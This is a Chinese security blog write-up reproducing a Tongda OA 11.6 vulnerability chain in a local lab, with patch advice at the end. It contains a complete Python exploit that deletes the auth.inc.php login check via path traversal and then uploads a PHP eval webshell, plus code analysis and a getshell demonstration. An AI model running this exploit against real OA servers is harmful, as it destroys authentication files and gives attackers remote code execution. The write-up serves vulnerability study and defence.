1. 程式人生 > 實用技巧 >通達OA11.6任意檔案刪除+檔案上傳組合GetShell

通達OA11.6任意檔案刪除+檔案上傳組合GetShell

通達OA11.6任意檔案刪除+檔案上傳組合GetShell

漏洞介紹

通達OA(Office Anywhere網路智慧辦公系統)是由北京通達信科科技有限公司自主研發的協同辦公自動化軟體,是與中國企業管理實踐相結合形成的綜合管理辦公平臺。

通達OA為各行業不同規模的眾多使用者提供資訊化管理能力,包括流程審批、行政辦公、日常事務、資料統計分析、即時通訊、移動辦公等,幫助廣大使用者降低溝通和管理成本,提升生產和決策效率。

漏洞利用思路:利用任意檔案刪除漏洞刪除認證檔案然後通過檔案上傳寫入一句話木馬getshell

注意⚠️:此漏洞會刪除認證的檔案,然後上傳shell,所以該漏洞是會破壞系統認證檔案,如果成功利用後會刪除程式中的php檔案可能會導致程式功能無法使用。

影響版本

版本:通達OA 11.6

連結:https://pan.baidu.com/s/1VqUUNUsgsssK1Mhq2r8HHQ

提取碼:him4

漏洞復現

環境搭建

靶機環境:win7系統,下載安裝包全部預設配置無腦下一步安裝

成功訪問網站登入頁面如下

至此確認漏洞環境搭建成功

大佬給出的poc如下:

import requests
target="http://oa.test.com/"
payload="<?php eval($_REQUEST['a']);?>"
print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")
input("Press enter to continue")
print("[*]Deleting auth.inc.php....")

url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"
requests.get(url=url)
print("[*]Checking if file deleted...")
url=target+"/inc/auth.inc.php"
page=requests.get(url=url).text
if 'No input file specified.' not in page:
    print("[-]Failed to deleted auth.inc.php")
    exit(-1)
print("[+]Successfully deleted auth.inc.php!")
print("[*]Uploading payload...")
url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"
files = {'FILE1': ('hack.php', payload)}
requests.post(url=url,files=files)
url=target+"/_hack.php"
page=requests.get(url=url).text
if 'No input file specified.' not in page:
    print("[+]Filed Uploaded Successfully")
    print("[+]URL:",url)
else:
print("[-]Failed to upload file")

漏洞分析

我們通過分析POC我們可知,首先通過任意檔案刪除漏洞刪除/webroot/inc/目錄中的auth.inc.php檔案,這裡利用的是目錄\webroot\module\appbuilder\assetsprint.php檔案中的一處任意檔案刪除漏洞,檢視程式碼檔案,全是亂碼,應該是經過加密處理,使用使用線上解密工具解密

http://dezend.qiling.org/free.html

解密後文件如下:

可以看到,首先對 $s_tmp進行賦值一個要刪除的檔案,最後通過unlink函式將檔案刪除,POC通過此漏洞刪除了/webroot/inc/目錄中的auth.inc.php檔案,根據名字我們可以粗略判斷這是一段用於許可權校驗的程式碼,我們同樣使用解密工具解密auth.inc.php

檔案

這個檔案用於判斷使用者是否登入,如果未登入的話,就無法上傳檔案,所以需要將此檔案刪除,才能成功上傳成功。

所以POC的漏洞利用思路如下:

首先對 $s_tmp進行賦值,這裡的guid為我們POC中的../../../webroot/inc/auth.inc.php檔案,最後通過unlink函式將登入校驗檔案auth.inc.php刪除,然後我們達到成功上傳webshell的目的。

攻擊演示

攻擊會刪除auth_inc.php檔案,這裡先做個備份。(注意千萬不要找公網環境測試,本地自己搭建環境測試)

修改POC中的target為我們的靶機環境,執行指令碼

成功上傳webshell檔案,使用蟻劍連線

成功getshell

修復建議

以上漏洞已在官方的最新版本中修復,建議受影響的使用者升級至最新版本進行防護,

官方下載連結:

https://www.tongda2000.com/download/p2019.php

參考連結

通達OA11.6漏洞復現